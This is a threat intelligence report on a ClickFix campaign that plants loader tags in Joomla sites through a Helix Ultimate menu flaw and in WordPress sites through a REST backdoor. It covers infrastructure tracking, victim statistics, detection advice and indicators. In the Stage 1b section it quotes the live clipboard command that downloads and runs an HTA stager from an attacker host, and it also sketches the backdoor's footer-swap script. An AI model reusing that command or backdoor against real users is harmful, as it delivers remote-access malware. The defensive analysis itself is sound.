Threat Intelligence

HelixFix: ClickFix Through the Helix Ultimate Mega-Menu

A ClickFix alert in our SOC led to a campaign that injects Joomla sites through a Helix Ultimate mega-menu flaw. We tracked 89 domains and 2,580 compromised sites and found that the registration second, not the domain name, is what makes it followable.

Key Takeaways

  • The template is the targeting criterion: a Helix Ultimate mega-menu flaw that lets visitors write menu settings explains the reach of 2,580 sites. Of the 2,005 fingerprinted, 1,855 carry Helix Ultimate assets, 99 % of the Joomla sites.
  • Registration time is the tracking signal: 44 of 79 dated domains were registered in daily sets within two seconds, so one RDAP lookup often confirms a new domain.
  • WordPress sites are a second foothold: a WordPress REST backdoor rotates the loader source remotely by hash.
  • The victim base is persistent: many listed sites already loaded a cluster loader in August, and new tags reached Joomla menus on 15 October. Re-injection is likely the operating mode (assessed with Moderate confidence).
  • The cluster is known, its entry point is new: SmartApeSG / Scarlet Goldfinch, active since late July 2026. No public source we found names the Helix entry point, the registration pattern or the REST backdoor.

Description

A ClickFix alert in our SOC, triggered by a visit to a compromised business website, pointed to four attacker domains. Starting from these four domains, we mapped the campaign behind them, mostly passively through third-party data sources. We refer to the campaign as HelixFix, after its entry point.

This report follows the attack chain from our own samples up to the HTA stager in Stage 2, and for one set of 29 September, through a public sample archive, on to the payload and its persistence. The attacker infrastructure comprises 89 domains and 37 IP addresses in three layers, one per host role (see Terminology). It serves 2,580 compromised websites (see the Victim Telemetry chapter). The campaign has run since late July 2026: the earliest high-confidence anchor is a payload domain registered on 30 July and documented in public reporting the next day. The earliest domain in our list, 27 July, rests on victim-page references (Moderate confidence). The two compromise paths, Helix Ultimate menu injection on Joomla and a WordPress REST backdoor, are described in the Attack Chain chapter. The Stage 3 archive of 15 October was not retrieved, so its payload is not analysed.

Terminology

  • Compromised site: the victim website carrying the injected tag.
  • Loader host: attacker domain serving the loader and the overlay.
  • Command host: attacker domain serving the HTA stager, named in the clipboard command.
  • Payload host: attacker domain serving the archive.

attack chain Figure 1 - Attack chain: three attacker host roles (top) and the four steps on the victim side (bottom); Stage 3 documented for one set from a public sample archive.

Campaign Context

This campaign pairs a known Helix Ultimate flaw with the known SmartApeSG execution chain. The entry point is a stored XSS in the Helix Ultimate mega-menu settings. Two CVEs describe such a flaw. CVE-2026-57829 affects versions before 2.2.7: the template’s AJAX handler, reachable through Joomla’s com_ajax dispatcher without a login, accepts mega-menu settings and stores them in the menu parameters without validation, so any visitor can write a script tag that every page then renders. A patch has been available since July 2026, and mySites.guru reports exploitation in the wild. CVE-2026-78077 affects the same component in versions up to 2.2.9. Neither the CVE used nor an exploit request is visible in our data. Three observations tie the campaign to this flaw: on all five Joomla sites examined by DOM snapshot the tag sits in the same menu parameters, 99 % of the fingerprinted Joomla victims run Helix Ultimate, and the activity began shortly after the patch of July 2026. The Attack Chain chapter has the details. The infrastructure passed through a Hetzner phase, a Vultr phase and an AWS phase, described in the Infrastructure chapter.

Threat Actor

This activity belongs to the cluster tracked by Red Canary and Zscaler as Scarlet Goldfinch and by SANS ISC as SmartApeSG, also known as ZPHP and HANEYMANEY.

Three observations support this. Four of the attacker domains carry the SmartApeSG tag in ThreatFox, submitted by two independent contributors between 9 September and 13 October. The execution chain matches the published chain step by step, from the cmd /v:on command and the curl download of the HTA to the PDF-named archive and its extraction with tar. And public reporting overlaps with our data: the loader domains of the malware-traffic-analysis.net reports from 31 July and 21 August appear on victim pages in our list, the report of 30 September documents the lure and payload host of our registration pair of 29 September, and Monitor SG labelled one of our loader hosts as SmartApeSG on 7 October.

Tracking Methodology

Starting from the four reported domains, we worked through third-party data sources, apart from a few manual downloads and one TCP connection test. The registration second, not the domain name, is what makes this campaign trackable.

Step 1 - Host to IP

We resolved the reported hosts through Google’s DNS-over-HTTPS resolver. Three loader hosts resolved to one AWS address, and the command host resolved to a second address.

Step 2 - IP to Domains

The urlscan search index includes the field page.ip and holds scans submitted by sandboxes and other analysts. A query on the two known addresses returned two additional command domains and sub-resource paths we had not requested. We ran it daily against the growing IP list.

page.ip:<loader-ip> OR page.ip:<command-ip>
// second query, no ASN filter (see the Infrastructure chapter)
page.server:"nginx/1.24.0 (Ubuntu)" AND date:>now-1d AND page.domainAgeDays:<2

IP-pivot Figure 2 - urlscan page.ip search on one infrastructure address: one IP leads to three command domains with daily rotating paths.

Step 3 - Domain to Registration Time

We queried RDAP at the registry endpoints, Verisign for .com and .net and Identity Digital for .info and .global, and Spaceship’s RDAP service for .co. RDAP returns the registration time to the second, so domains registered within two seconds of each other become visible as a daily set, including its .co domain, which serves as a second loader host (secondary loader host). For ten early .top and .co domains, RDAP was rate-limited or unreachable, so their registrar remains unconfirmed.

domain-registration Figure 3 - RDAP records of three domains registered within two consecutive seconds: the shared registration second marks one daily set (loader host, command host, secondary loader host).

Step 4 - Infrastructure to Victims

urlscan records which hosts a scanned page loaded, so a search for the loader hosts returned the scanned websites that pulled a loader. We fingerprinted the CMS of each site from the result documents (see the Victim Telemetry chapter).

Step 5 - Request-List Sweep

Each cached victim result lists every host the page requested. We read the request lists of about 2,000 cached results offline and matched all third-party hosts against the naming scheme and the known infrastructure. One run produced 15 confirmed domains and 5 new addresses, because these domains had rarely or never been scanned directly.

Source Contribution
dns.google Host to IP; liveness
urlscan search and result API Domains per IP; paths; victim sites; request lists
RDAP Registrar; registration second; holds
crt.sh Second timestamp; no entry for three loader domains
Censys, Shodan InternetDB Decoy titles, ports of live hosts; only known hosts found
Public reports Earlier phases (see the Infrastructure chapter)

The registration second and the request lists of victim scans, not the IP index alone, connected most of the attacker domains to one operator.

Attack Chain

The chain consists of an injected script tag, a loader, a fake verification overlay fetched by the loader that places a command in the clipboard, an HTA stager and an archive that side-loads a RAT (Figure 1).

Stage 0 - Entry on the Compromised Site

Two ways into the website, Joomla menu injection and a WordPress REST backdoor, feed the same loader and overlay chain. ClickFix itself is the entry point onto the endpoint.

Joomla: Helix Ultimate Menu Injection

On the Joomla sites examined, the injection sits in the database, not the file system: menu items in the #__menu table carry a script tag in their attribute or CSS class field, so the tag appears in every <li class="sp-menu-item"> of the desktop and the off-canvas menu. The five Joomla sites we examined by DOM snapshot reference three to sixteen loader hosts, among them profile.turquoisequadrant[.]info and blog.donitesmithy[.]info. A truncated "&gt;, the remainder of the original attribute, follows every tag. All five sites run the Helix Ultimate template, so the tag was most likely written through the mega-menu flaw described in the Campaign Context chapter.

On 15 October, two of three re-scanned Joomla sites carried the new loader tag next to the old ones. So the operator keeps writing to the menu parameters, and removing the tag alone is not sufficient (assessed with Moderate confidence).

menu-dom Figure 4 - Menu DOM of a compromised Joomla site: a loader tag in every menu item, with the \"&gt; residue and the loader host of 15 October next to older ones.

WordPress: REST Backdoor with Hash Rotation

WordPress sites form a second foothold. Their initial access was not determined. Of the 98 sites fingerprinted as WordPress, we examined 70 by hand: 49 carry the WordPress REST backdoor, and 14 load an injector script from a compromised third-party site, which then likely requests the loader. The automated fingerprint flags the route on 60 of the 98, a lower bound. They load the same rotating loader hosts as the Joomla victims, so both groups belong to one campaign.

The WordPress REST backdoor places a hidden <span hidden data-wal-hash="<md5>"> before </body>, followed by the loader tag and an inline sync script. On each page load, the script queries /wp-json/wal/v1/footer on the victim’s own domain (variant wsm/v1/footer on four sites) and replaces the footer content when the returned hash differs. The hash is the MD5 of the loader tag, so the operator can switch the loader host on all sites remotely. This is a backdoor, likely installed as a plugin or mu-plugin.

Simplified:

<span hidden data-wal-hash="d0ccee18f7f5d699e279e3b5986e2a25"></span>
<script src="hxxps://sallowcloister[.]co/settings/secure-script.js"></script>
<script>// once per page load: GET hxxps://<victim>/wp-json/wal/v1/footer?_=<timestamp>
// response: {"content": "<script src=...>", "hash": "<md5>"}
// if hash differs from data-wal-hash: footer.innerHTML = content</script>

wp-footer Figure 5 - WordPress footer with data-wal-hash marker, loader tag and REST sync script that swaps the tag when the hash changes.

Stage 1 - Loader

The loader is a small script that decides whether a visitor is worth an overlay. It exits on Android and iPhone, fires at most once per 24 hours per browser, with a timestamp in localStorage, and removes the key cf-used-at that the overlay will later set. Then it appends a second script tag that points to the overlay on the same host. The loader carries no command itself. Its code is obfuscated with a rotating string array, a Base64 variant decoder and an XOR layer over the target URL.

We hold the loaders of two sets. audit-stylesheet.js of 14 October uses the XOR key SHA_10011, the localStorage key ENV_201021 and fetches /middleware/logout-server? plus eight random characters from blog.donitesmithy[.]info. route-server.js of 15 October has the same logic with new keys, SHA_1001101 and ENV_20102142, and a new overlay path, /policy/status-request. So the loader is rebuilt per set with fresh keys and paths while its behaviour stays the same, which is why neither hash nor key is a useful signature.

Stage 1b - Overlay and Clipboard Command

The overlay is the ClickFix lure. A React 19 bundle, with Tailwind CSS injected as <style id="captcha-css">, replaces the page with an imitation of the Cloudflare interstitial, including the victim’s hostname and a random Ray ID. It is shown only to user agents containing “win” and uses cf-used-at as a re-display lock, the key the loader deletes, which ties both files to one chain. A click on the checkbox writes a hardcoded command to the clipboard via navigator.clipboard.writeText, and instructions in seven languages ask for Win+R, Ctrl+V and Enter. The command of 14 October:

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" api[.]tundstone[.]com/drs& start "" "%y")"

It assembles curl from two variables, downloads the HTA from the command host and opens it with start, so the command line never contains mshta. Red Canary documents the same cluster picking letters by substring index, so this is a different, possibly later variant of the command builder.

We hold two overlays, both from the urlscan response store. scope-ajax.js is the overlay of 14 October. legacy-partial.js was served on 15 October by news.pieset[.]co, a loader host registered outside the naming scheme that a group of victims including WordPress sites has used since 13 October. The two files are byte-identical except for the command host: the second one still points to api.stepanapis[.]com/prs, the command host of 13 October, whose path had returned 404 since 14 October. So the overlay is one build in which only the command string is exchanged per set, and the pieset strand ran with an outdated command host on 15 October (Moderate confidence). For defenders this means the overlay hash changes with every command string, while the content markers do not, and that a host outside the naming scheme is still caught by domain age, path scheme and those markers.

Stage 2 - HTA Stager

The HTA is the bridge from the browser to the file system. Opened through its file association, it hides its window off screen, creates a folder with a random numeric name, downloads the archive from the payload host with curl into a file named <digits>.pdf, waits, and extracts the file with tar. Everything it does runs through built-in Windows tools. The file itself is padded with random comment text around a few kilobytes of code, and the code is a numeric array that is decoded by subtracting 7 and XORing with a one-byte key, then run through Function().

We hold the HTAs of two sets. NHEWS.hta of 14 October was downloaded from api.tundstone[.]com/drs by us. It writes below %LOCALAPPDATA%, fetches bayouandjadeite[.]com/wo, waits three seconds and extracts, but does not start anything it extracted. PROSSS.hta of the 29 September set comes from a public sample archive, decoded statically by us. It uses the same padding and the same scheme with a different key, but writes below Documents, waits a random 10 to 15 seconds, checks that the download exists, starts the extracted executable and deletes the archive. So the stager is maintained between sets: folder, timing and start logic change, the technique does not.

Stage 3 - Payload and Persistence

The archive is a side-loading package. It contains an executable together with the runtime DLLs it expects, plus one or more DLLs that do not belong there, and the executable loads one of those on start. From there a remote access trojan runs and establishes persistence at user logon. Which trojan it is changes over time: public reporting on the cluster names Remcos and later NetSupport RAT (SANS ISC), an unnamed RAT in July and August, an unidentified RAT followed by MeshAgent in mid-September, and CNCmachineRMS at the end of September.

We hold the archive of one set, 29 September, from the public sample archive behind the malware-traffic-analysis.net report of 30 September. That this is our campaign is verified through the registration pair of that day: the report’s lure fennelcanticle[.]co and payload host copseandonyx[.]com were registered one second apart. It is a Qt5/SDL3 application bundle of 16 files: KCrashReporter_x64.exe, named after a legitimate crash reporter, the matching Qt5, SDL3 and Visual C++ runtime DLLs, three DLLs that do not belong to such a bundle, RwcShl64.dll, drive4.dll and libservice-blender.dll, and two data files, StaAnalysis.dat and values.db. According to the report, the executable side-loads one of the three DLLs, which leads to the CNCmachineRMS RAT with C2 on TCP 443. The RAT then installs itself twice, as a Run key and as a scheduled task, both named “XnView Crash Reporter” and both pointing to the executable in the numeric Documents folder. Over the RAT channel a follow-up setup.exe arrives and creates a folder under ProgramData without further traffic.

Samples

Sample Stage Set Source Size SHA-256
audit-stylesheet.js 1 14 October own download 4,764 bytes 20ecb0043dd50a4b17b67500ebe789fadbc837fbffd7543d6eeaab4fc2dbc74b
route-server.js 1 15 October own download 4,752 bytes c383bb16840edc79c266e04578b8fb698b2349a50595bed58654ad890af35c16
scope-ajax.js 1b 14 October urlscan response store 1,730,116 bytes 45af1c656da43105ba1783e3eac188f802328d20c0eb6bb8a83cbfc62eab1c74
legacy-partial.js 1b 13 October command host, news.pieset[.]co urlscan response store 1,730,117 bytes bd1b453e98e0877d2ecb4a54a0631a30cb86b0012e01575cd4164404fdacc7b5
NHEWS.hta 2 14 October own download 66,558 bytes 606023fd6018fb2e34df742e0d8456c2fe75a71738dd844a99365e13c3e728c3
PROSSS.hta 2 29 September public sample archive 79,383 bytes f401555d44747c10c0b29d7d307c54cdf62ccb6e69ceb33ccbd72872838d8faa
ZIP archive from /crew 3 29 September public sample archive 10,579,697 bytes 069c14a04cc7364852b6570891c39d842db7182794f308eea0a88b243ada09de
setup.exe (follow-up via RAT) 3 29 September public sample archive 13,774,634 bytes 7c27000125fcd5788f11a5464beb8eb85978c90f532c349c070d0f9f84726738

All samples were analysed statically. The public sample archive is the one published with the malware-traffic-analysis.net report of 30 September. We did not execute or reverse the binaries.

Up to the archive download, the chain uses no attacker binary: a database-stored script tag, two browser scripts and built-in Windows tools deliver an archive. For the set of 29 September the chain continues into a side-loaded DLL, a RAT and logon persistence, for the set of 15 October the archive was not retrieved. Across the three sets we hold samples for, 29 September, 14 October and 15 October, loader, overlay and stager share one code base and change in details with every set.

Infrastructure

The infrastructure behind the loader tags consists of 89 domains and 37 IP addresses in our master list as of 15 October. Each domain is tied to the campaign by a registration pair, a DOM snapshot, a sample or a public report, or by compromised sites that load it as a script source. Domain names and paths change daily. The naming scheme, the path scheme and, from September, the registration second do not.

Three Layers

The loader layer is the largest, with 75 domains on nine TLDs. For yarrowalcove[.]net the role is inferred from a page snapshot. Recent loader hosts sit on a short subdomain such as blog. or pro., older ones on the apex domain. These older hosts form the loader pool, which keeps resolving after daily use, and names combine a plant, mineral or colour term with an architectural or literary element. On 12 and 13 October, a secondary loader host served a second loader from its own address, a .co domain and a pro. or do. subdomain. Its purpose was not determined. Since 13 October, news.pieset[.]co, outside the naming scheme, serves a separate group of victims (see the Attack Chain chapter). The command layer has three domains, one per day from 12 to 14 October, the payload layer eleven, from 30 July to 7 October. The role of the .com domain changed over time (see Registration Pattern), so the name does not indicate the role.

Layer Host pattern Path pattern IP role
Loader (recent) <sub>.<plant/mineral/colour><element>[.]info or [.]co mostly /<word>/<word>-<word>.js Loader host of the day, secondary loader host
Loader (older) apex .top/.co/.org/.cc/.best/.net mostly /<word>/<word>-<word>.js Loader pool
Command api.<word>[.]com, e.g. api.tundstone[.]com /<three letters> One shared command IP
Payload <landscape>and<gemstone>[.]com, e.g. bayouandjadeite[.]com short path, e.g. /wo One shared payload IP

Registration Pattern

Registrar and hosting changed in three phases (Figure 6). In the Hetzner phase (27 July to 28 August, PDR Ltd), domains were registered mostly on .top and hosted with Hetzner Online US (AS213230). The earliest domain in our list, flintazimuth[.]top, was registered on 27 July at 06:18 UTC and referenced by victim pages from 09:48 UTC. It rests on victim pages only (Moderate confidence). The earliest high-confidence anchor is the payload domain deltaode[.]com, registered on 30 July and documented in public reporting the next day. The Vultr phase (1 September to about 20 September, Spaceship) begins with cobaltwayfinder[.]org, registered via Spaceship with name servers launch1/launch2.spaceship.net and hosted with Vultr and, around the turn of the month, HZ Hosting. In the AWS phase (from 20 September, Spaceship), new domains resolve to AWS. 61 domains are registered with Spaceship, 18 with PDR Ltd and ten without RDAP confirmation.

The Hetzner phase belongs to the same campaign, because public SmartApeSG reports document its loader domains with the same chain and path scheme, and our victim list overlaps with them (see the Campaign Context chapter).

From 4 September, domains registered within two seconds of each other, mostly in the same second, form 19 daily sets, 13 pairs and six triples, on 18 days up to 14 October, each spanning different TLDs. The Hetzner phase shows no such sets. The .com member of a set was a payload domain until 7 October and a command domain from 12 October. Most daily sets, 17 of 19, fall into an early-morning (04:40 to 08:45 UTC) or evening window (19:20 to 21:50 UTC), so the windows describe a habit, not a detection criterion. Each daily set likely comes from one registration run (assessed with Moderate confidence). Registrar-side batching cannot be ruled out.

campaign_timeline

Figure 6 - Domain registrations by role and hosting provider, 27 July to 15 October 2026 (UTC): the 79 of the 89 counted domains with a known registration date; the ten early-phase domains whose registry RDAP was unreachable are not shown. Markers: switch from PDR Ltd to Spaceship, and from Vultr to AWS; vertical lines connect domains registered within two seconds.

Hosting

The 37 addresses belong to four providers: 19 on Amazon AWS (17 in AS14618, 2 in AS16509), 11 on Hetzner Online US (AS213230), six on Vultr (AS20473) and one on HZ Hosting (AS202015). Known server headers read nginx/1.24.0 (Ubuntu), except two September payload hosts. On 15 October, fluoriterefrectory[.]info appeared on 18.217.22[.]168 in AWS us-east-2 (AS16509), which a urlscan search restricted to AS14618 missed. So each change moved the infrastructure outside filters built on the previous phase.

The daily infrastructure uses one address per role: loader hosts of 12 to 14 October on 44.192.112[.]169, command hosts on 107.23.85[.]56, payload domains on 35.170.55[.]9 (since 29 September) and secondary loader hosts on 44.223.90[.]242. The other addresses carry the loader pool, the earlier phases, news.pieset[.]co and the loader host of 15 October. So blocking known addresses does not cover the loader pool or new addresses.

Lifetime and Availability

Loader hosts stop working within days: in urlscan’s page.ip results, most loader pool hosts return errors within a few days, and blog.donitesmithy[.]info has refused connections since early 15 October. Command paths are also retired: /prs returned 404 one day after its use. copperlodestar[.]info returns NXDOMAIN, yet 100 urlscan scans of victim sites between 6 and 14 October still reference it, so suspended domains remain on victim pages long after they stop serving.

Victim Telemetry

Scope and Distribution

In our data, 2,580 websites loaded a loader of this campaign in urlscan scans from 14 September to 15 October, the window our searches covered systematically. The count is a lower bound for sites carrying a loader tag, and a first sighting is the first scan of a site, not the date of compromise. 697 of them have a .de TLD or are hosted in Germany. By hosting country, Germany leads with 664 sites. 473 sites use a .de domain. It is followed by Russia (421), the United States (294), France (255) and Poland (107). For 63 sites urlscan provides no country. On 15 October alone, 137 victim sites loaded the new loader host of that day, and 126 of them were not yet in the list. Our list is not the full victim base: a search without date filter for the loader domain of a public report from 21 August returned 1,207 sites of that August wave, at least 700 of which loaded a cluster loader in scans between 21 August and 14 October and appear in our list, while 507 do not. The loader domain of the report from 31 July is referenced by 888 victim pages in urlscan.

victims

Figure 7 - Compromised websites by hosting country (left) and by week of first urlscan sighting (right), 2,580 sites as of 15 October, each with at least one scan from 14 September (UTC); first seen in urlscan, not infection date. The weekly values follow third-party scan sweeps, the country distribution does not.

Victim Profile

A screening of the list of 14 October by domain name, page title and top-level domain shows an opportunistic victim set: small and medium businesses, clubs, parishes and small municipalities dominate. Of 46 sites that could belong to a public body or a larger organisation, most are local administrations, fire brigades or associations. A few are public bodies outside Germany. No German federal or state body, university, operator of critical infrastructure or large company appears in that data. Target selection follows the vulnerable template, not the victim.

CMS Fingerprint

We fingerprinted the 2,005 sites known on 14 October from the resource list of their urlscan result documents, using Joomla, Helix Ultimate and WordPress paths from the site’s own domain plus the Wappalyzer data urlscan attaches to each scan. The fingerprint reflects the site’s state at scan time. The 575 sites added on 15 October are not fingerprinted. More than 60 % of the fingerprinted sites loaded more than one loader host, consistent with the rotation described in the Infrastructure chapter.

CMS (2,005 sites, 14 October) Sites Share
Joomla 1,871 93.3 %
WordPress 98 4.9 %
Joomla and WordPress traces 5 0.2 %
Unknown 27 1.3 %
No scan available 4 0.2 %

1,855 of the 2,005 sites carry Helix Ultimate assets, which is 99 % of the Joomla sites. In Germany, Switzerland and Poland the Helix share is close to or at 100 %. This matches the Helix Ultimate menu-parameter injection described in the Attack Chain chapter as the main entry point. The WordPress sites are a second foothold with their own persistence mechanism.

Almost every fingerprinted victim runs Joomla with Helix Ultimate, so the template, not the operator’s choice of target, defines who is exposed.

Recommendation / Learning

The campaign relies on a stored injection in the CMS database, built-in Windows tools and infrastructure replaced every few days. So durable detection keys on endpoint behavior and on what the operator reuses, not on domains or addresses.

For Site Operators

  • Update Helix Ultimate to 2.2.10 or later. Existing tags have to be removed separately.
  • Search the #__menu table for <script tags with an external src in attribute and CSS class fields. In the database the tag is followed by a raw ">, rendered as "&gt;. A file integrity check does not find database content.
  • Review Super User accounts, rotate credentials and check logs for unauthenticated com_ajax requests to saveMegaMenuSettings.
  • On WordPress, look for the REST namespaces wal/v1 and wsm/v1 in wp-content/mu-plugins and plugins, and for data-wal-hash or data-wsm-hash in the footer.
  • Close the entry point before removing the tag: on WordPress remove the REST backdoor first, on Joomla patch first. Otherwise the operator writes the tag again (see the Attack Chain chapter).

For Defenders and Threat Trackers

  • Map .hta to a text editor or block mshta.exe via AppLocker, WDAC or ASR. The chain starts the HTA through its file association and breaks here.
  • Block or alert on newly registered domains (younger than seven days) in proxy and DNS. The infrastructure is registered daily, so this survives the rotation.
  • Detect the process chain of the paste step: cmd.exe spawning curl.exe, followed by mshta.exe started through the .hta file association, which in turn spawns cmd.exe with curl.exe and tar.exe. The pasted command line itself never contains mshta. We reconstructed this chain from the samples, not from telemetry.
  • Alert on HTA files written to %LOCALAPPDATA%, and on archives with a .pdf extension that are extracted with tar from a purely numeric folder below %LOCALAPPDATA% or Documents. The folder changed between sets.
  • Hunt for a Run key or scheduled task named XnView Crash Reporter, for KCrashReporter_x64.exe outside a program directory, and for Qt5 and SDL3 DLLs in a numeric user folder without an installed application. These are the first stable host artefacts after the archive.
  • Flag curl/ user-agent requests to api.<domain>[.]com/<three letters> over plain HTTP, visible without TLS inspection.
  • Check HKCU\...\Explorer\RunMRU: the Win+R step leaves the pasted command there.
  • With TLS inspection, flag responses from domains younger than seven days that carry nginx/1.24.0 (Ubuntu) and a small-business decoy title. Combine with the naming scheme.
  • Infrastructure of the Hetzner phase is not listed in the appendix, because it is likely outdated. If you hold proxy or DNS logs from that period, hunt for the loader path pattern rather than for addresses, and do not add those addresses to live blocklists.
  • Search for victim pages without a date filter: the start of a search window is not the start of the campaign.

Conclusion

The campaign, active since late July 2026, belongs to the SmartApeSG cluster and adds an entry point not described publicly before: a stored injection in Joomla sites running Helix Ultimate, alongside a WordPress REST backdoor. Domains and paths are disposable, while the registrar, the registration second, the shared addresses per role and the injected tags persist. Many listed sites already loaded a cluster loader in August, and fresh tags on rescanned sites suggest ongoing re-injection (Moderate). The final stage changes per set, with CNCmachineRMS documented publicly for the set of 29 September, and remains open for 15 October (see the Attack Chain chapter).

We reported the infrastructure to Spaceship and AWS before publication.

This report was produced with AI assistance.

Appendix A: MITRE ATT&CK Mapping

“Attacker infrastructure” covers domains and servers the operator acquired, “Compromised site” the takeover of Joomla and WordPress sites, and “Victim endpoint” the ClickFix chain up to the archive download and, for one set, its persistence. Endpoint behavior is reconstructed statically from the samples. Rows marked “per MTA” rest on the malware-traffic-analysis.net report of 30 September.

Tactic (MITRE) Scope Technique ID Campaign Mapping Behavioral Indicator
Resource Development Attacker infrastructure Acquire Infrastructure: Domains T1583.001 89 domains (high/medium): 61 Spaceship, 18 PDR Ltd, 10 unconfirmed; 19 daily sets on 18 days See the Infrastructure chapter
Resource Development Attacker infrastructure Acquire Infrastructure: Virtual Private Server T1583.003 37 addresses: Hetzner phase (AS213230), Vultr phase (AS20473, AS202015 HZ Hosting), AWS phase (AS14618, AS16509) -
Resource Development Compromised site Compromise Infrastructure: Server T1584.004 Legitimate Joomla and WordPress sites serve the loader tag to visitors (see the Victim Telemetry chapter) -
Resource Development Compromised site Stage Capabilities: Drive-by Target T1608.004 Loader tags in Joomla menu items and WordPress footers; new tags added next to old ones Tag of 15 October next to older tags on two of three rescanned Joomla sites
Initial Access Compromised site Exploit Public-Facing Application T1190 #__menu script tag with "&gt; residue (Helix Ultimate); stored XSS in mega-menu settings (inference, High); CVE undetermined External script tag with "&gt; residue in #__menu entries; site files unchanged (DOM snapshots, five Joomla sites)
Initial Access Victim endpoint Drive-by Compromise T1189 Compromised page loads loader; loader loads overlay Proxy: script request to newly registered domain
Execution Victim endpoint User Execution: Malicious Copy and Paste T1204.004 navigator.clipboard.writeText; Win+R, Ctrl+V, Enter instructions in seven languages Registry: RunMRU entry containing /v:on and -skLo
Execution Victim endpoint Command and Scripting Interpreter: Windows Command Shell T1059.003 %COMSPEC% /v:on /c with delayed expansion; curl built from !x!!c! Process creation: cmd from Run dialog with /v:on, set x=cu&set c=rl, -skLo
Execution Victim endpoint Command and Scripting Interpreter: JavaScript T1059.007 HTA stager decodes a numeric array and runs the script via Function() -
Persistence Compromised site Server Software Component T1505 WordPress REST backdoor wal/v1/footer / wsm/v1/footer returning {content, hash}; T1505.003 fit unverified Hidden data-wal-hash span; inline script replaces footer on hash change
Defense Evasion Victim endpoint Execution Guardrails T1480 Overlay only if user agent contains “win”; loader exits on Android and iPhone; 24-hour lock in localStorage localStorage keys ENV_201021, ENV_20102142, cf-used-at
Defense Evasion Victim endpoint Obfuscated Files or Information T1027 Loader with rotating string array and XOR key; HTA script as numeric array (minus 7, then XOR) -
Defense Evasion Victim endpoint Obfuscated Files or Information: Binary Padding T1027.001 About 64 KB random comment text in the 66 KB HTA stager HTA hash likely unique per download; hash matching unreliable
Defense Evasion Victim endpoint Obfuscated Files or Information: Command Obfuscation T1027.010 curl from two variables (set x=cu&set c=rl) in clipboard command -
Defense Evasion Victim endpoint Masquerading: Masquerade File Type T1036.008 Archive with .pdf extension, extracted with tar File creation: non-PDF .pdf in numeric folder below %LOCALAPPDATA%
Defense Evasion Victim endpoint System Binary Proxy Execution: Mshta T1218.005 NHEWS.hta opened by start via file association start "" "%LocalAppData%\NHEWS.hta"; no mshta on command line
Defense Evasion Victim endpoint Deobfuscate/Decode Files or Information T1140 HTA decodes its script at runtime before execution -
Defense Evasion Victim endpoint Hide Artifacts: Hidden Window T1564.003 start "" /min; HTA window zero size, off screen Process creation: start "" /min in cmd command line; HTA resizeTo/moveTo to zero size
Command and Control Victim endpoint Ingress Tool Transfer T1105 curl writes NHEWS.hta; HTA downloads archive into numeric folder Proxy: curl/ user agent to api.<word>[.]com/<3 letters>; file creation in %LOCALAPPDATA%
Defense Evasion Victim endpoint Hijack Execution Flow: DLL Side-Loading T1574.002 29 September set: Qt5/SDL3 bundle, KCrashReporter_x64.exe side-loads one of three foreign DLLs leading to the CNCmachineRMS RAT, per MTA 30 September Qt5/SDL3 DLLs plus unknown DLLs in a numeric user folder
Defense Evasion Victim endpoint Masquerading: Match Legitimate Name or Location T1036.005 29 September set: executable and persistence named after a legitimate crash reporter Process KCrashReporter_x64.exe outside a program directory
Persistence Victim endpoint Boot or Logon Autostart Execution: Registry Run Keys T1547.001 29 September set: HKCU Run value XnView Crash Reporter, per MTA Run value pointing into Documents\<digits>\
Persistence Victim endpoint Scheduled Task/Job: Scheduled Task T1053.005 29 September set: task \XnView Crash Reporter, logon trigger, 3 s delay, least privilege, per MTA Task creation with an action in a user folder

Appendix B: Indicators of Compromise

The indicators reflect our data as of 15 October, 21:00 UTC. Listed indicators rest on a registration pair, a DOM finding, a sample or a public report. Hosts known only from victim-page references are not listed. The tables contain only indicators active in the last days of data collection. Older infrastructure from July to early October is left out.

Network: Recently Observed (as of 15 October 2026)

Domains of the most recent sets, all high confidence. Some hosts no longer respond. The IP addresses are shared cloud addresses, so validate them before blocking. Re-check entries 14 days after their last sighting.

Value Role Registered Path observed
bayouandjadeite[.]com Payload 2 October /wo
profile.turquoisequadrant[.]info Loader 12 October /dashboard/logout-html.js
api.cuestmoon[.]com Command 12 October /gtr
do.walnutfolio[.]co Secondary loader 12 October /dashboard/v1/footer
new.sunstonewell[.]info Loader 13 October /verify/version-build.js
api.stepanapis[.]com Command 13 October /prs
pro.oakcanticle[.]co Secondary loader 13 October /throttle/user-parser.js
news.pieset[.]co Loader (off-schema) 13 October /profile/policy-css.js, /profile/public-sessionstore
blog.donitesmithy[.]info Loader 14 October /middleware/audit-stylesheet.js, /middleware/logout-server
api.tundstone[.]com Command 14 October /drs
fluoriterefrectory[.]info Loader 15 October /policy/route-server.js, /policy/status-request
Address Role ASN Last seen
18.217.22[.]168 Loader (15 October) AS16509 Amazon 15 October
44.192.112[.]169 Loader AS14618 Amazon 14 October
44.223.90[.]242 Secondary loader AS14618 Amazon 15 October
100.54.102[.]60 Loader (news.pieset[.]co) AS14618 Amazon 15 October
107.23.85[.]56 Command AS14618 Amazon 14 October
35.170.55[.]9 Payload AS14618 Amazon 1 October; refused connections since 14 October

Network: Patterns

Type Value Role Lifetime; note
URL pattern hxxp(s)://api.<word>[.]com/<3 letters> Command Campaign; curl user agent, HTTP redirected to HTTPS
URL pattern hxxps://<landscape>and<gemstone>[.]com/<short path> Payload Campaign; archive with .pdf extension
Path pattern /<word>/<word>-<word>.js next to /<word>/<word>-<word>?<8 chars> on one young host Loader Campaign; loader and overlay path share the first segment
Server and age nginx/1.24.0 (Ubuntu), domain younger than two days, Spaceship name servers Loader, command Cluster; low specificity alone, combine with naming scheme; September payload hosts used nginx/1.18.0
Decoy title Small-business titles, e.g. “Bright Smile Dental”, “Apex Builders” Loader Cluster; root page of loader hosts; combine with domain age
Content marker captcha-css, cf-used-at, newClickCount, I18N_DICT in one script Overlay Campaign; matches both observed overlays; YARA or proxy content rules

Files

Retrospective value only: loaders change daily, the overlay hash changes with every command string, and the HTA stager carries random padding.

Sample SHA-256 Note
audit-stylesheet.js 20ecb0043dd50a4b17b67500ebe789fadbc837fbffd7543d6eeaab4fc2dbc74b 4,764 bytes; 14 October
route-server.js c383bb16840edc79c266e04578b8fb698b2349a50595bed58654ad890af35c16 4,752 bytes; 15 October
scope-ajax.js 45af1c656da43105ba1783e3eac188f802328d20c0eb6bb8a83cbfc62eab1c74 1,730,116 bytes; 14 October
